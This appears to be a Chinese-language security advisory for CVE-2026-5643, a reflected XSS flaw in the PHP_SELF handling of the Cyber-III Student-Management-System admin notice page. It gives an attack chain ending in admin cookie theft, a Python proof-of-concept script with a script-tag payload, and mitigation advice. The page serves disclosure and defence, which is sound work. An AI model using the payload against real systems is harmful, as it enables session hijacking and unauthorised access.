IPBUF安全漏洞报告
English
CVE-2026-5643 CVSS 2.4 低危

CVE-2026-5643 Cyber-III学生管理系统XSS漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5643
漏洞类型
跨站脚本 (XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Cyber-III Student-Management-System

相关标签

XSSCross-Site ScriptingCyber-IIIStudent-Management-SystemReflected XSSCVSS-2.4PHP_SELF

漏洞概述

Cyber-III Student-Management-System(学生管理系统)在特定版本(提交哈希1a938fa6之前)中存在一个安全漏洞。该漏洞源于/admin/Add notice/notice.php组件的Admin Add Endpoint未能正确过滤用户输入的$_SERVER['PHP_SELF']参数。这允许经过身份验证的高权限攻击者通过操纵该参数执行跨站脚本攻击(XSS)。攻击需要用户交互,可远程发起,且目前已有公开的利用代码,厂商尚未发布修复。

技术细节

该漏洞属于反射型跨站脚本(Reflected XSS)漏洞。在Cyber-III学生管理系统的后台管理功能中,文件`/admin/Add notice/notice.php`使用了PHP全局变量`$_SERVER['PHP_SELF']`来动态生成表单的action属性或页面链接。开发人员未对该变量进行严格的HTML实体编码或安全过滤,导致攻击者可以将恶意的JavaScript代码注入到URL路径中。

根据CVSS向量分析,该漏洞需要高权限(PR:H)和用户交互(UI:R)。这意味着攻击者可能需要诱导具有较高权限(如管理员)的用户点击特制的恶意链接。当受害者访问该链接时,服务器会直接将包含在URL中的恶意脚本反射回浏览器并在受害者上下文中执行。攻击者利用此漏洞可窃取管理员Cookie、会话令牌,进而劫持用户会话,执行未授权操作。尽管CVSS评分较低(2.4),但针对高权限账户的攻击可能导致系统被完全控制。

攻击链分析

STEP 1
侦察与准备
攻击者识别目标系统运行的是存在漏洞的Cyber-III Student-Management-System版本,并确定漏洞位于/admin/Add notice/notice.php。
STEP 2
构造恶意链接
攻击者构造包含恶意JavaScript代码的URL,将Payload附加在notice.php路径之后,利用$_SERVER['PHP_SELF']未过滤的特性。
STEP 3
社会工程学投递
由于需要高权限(PR:H)和用户交互(UI:R),攻击者通过网络钓鱼等方式诱导管理员或高权限用户点击该恶意链接。
STEP 4
执行攻击
当受害者访问链接时,服务器端脚本直接将未经过滤的路径信息(包含Payload)反射回HTML页面,导致恶意脚本在受害者浏览器中执行。
STEP 5
会话劫持
恶意脚本执行后,窃取受害者的Session ID或Cookie,攻击者利用这些凭证冒充受害者身份登录系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_xss_vulnerability(target_url): """ PoC for CVE-2026-5643: XSS via $_SERVER['PHP_SELF'] The payload is injected into the path of the URL. """ # The malicious payload to be injected xss_payload = "<script>alert('CVE-2026-5643')</script>" # Construct the malicious URL by appending payload to the path # The vulnerable file is /admin/Add notice/notice.php attack_url = f"{target_url}/admin/Add%20notice/notice.php/{xss_payload}" try: print(f"[*] Sending request to: {attack_url}") response = requests.get(attack_url, timeout=10) # Check if the payload is reflected unescaped in the response if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") print("[+] This indicates that $_SERVER['PHP_SELF'] is not sanitized.") return True else: print("[-] Payload not reflected. Target might be patched or input filtered.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target host target = "http://example.com" check_xss_vulnerability(target)

影响范围

Cyber-III Student-Management-System <= commit 1a938fa61e9f735078e9b291d2e6215b4942af3f

防御指南

临时缓解措施
建议开发人员立即审查代码中所有使用$_SERVER['PHP_SELF']的地方,并添加过滤逻辑。临时缓解方案包括禁用受影响的管理员功能模块,或通过反向代理规则拦截包含特殊字符(如<, >, ', ", script)的URL请求。同时,应加强管理员的安全意识培训,避免点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表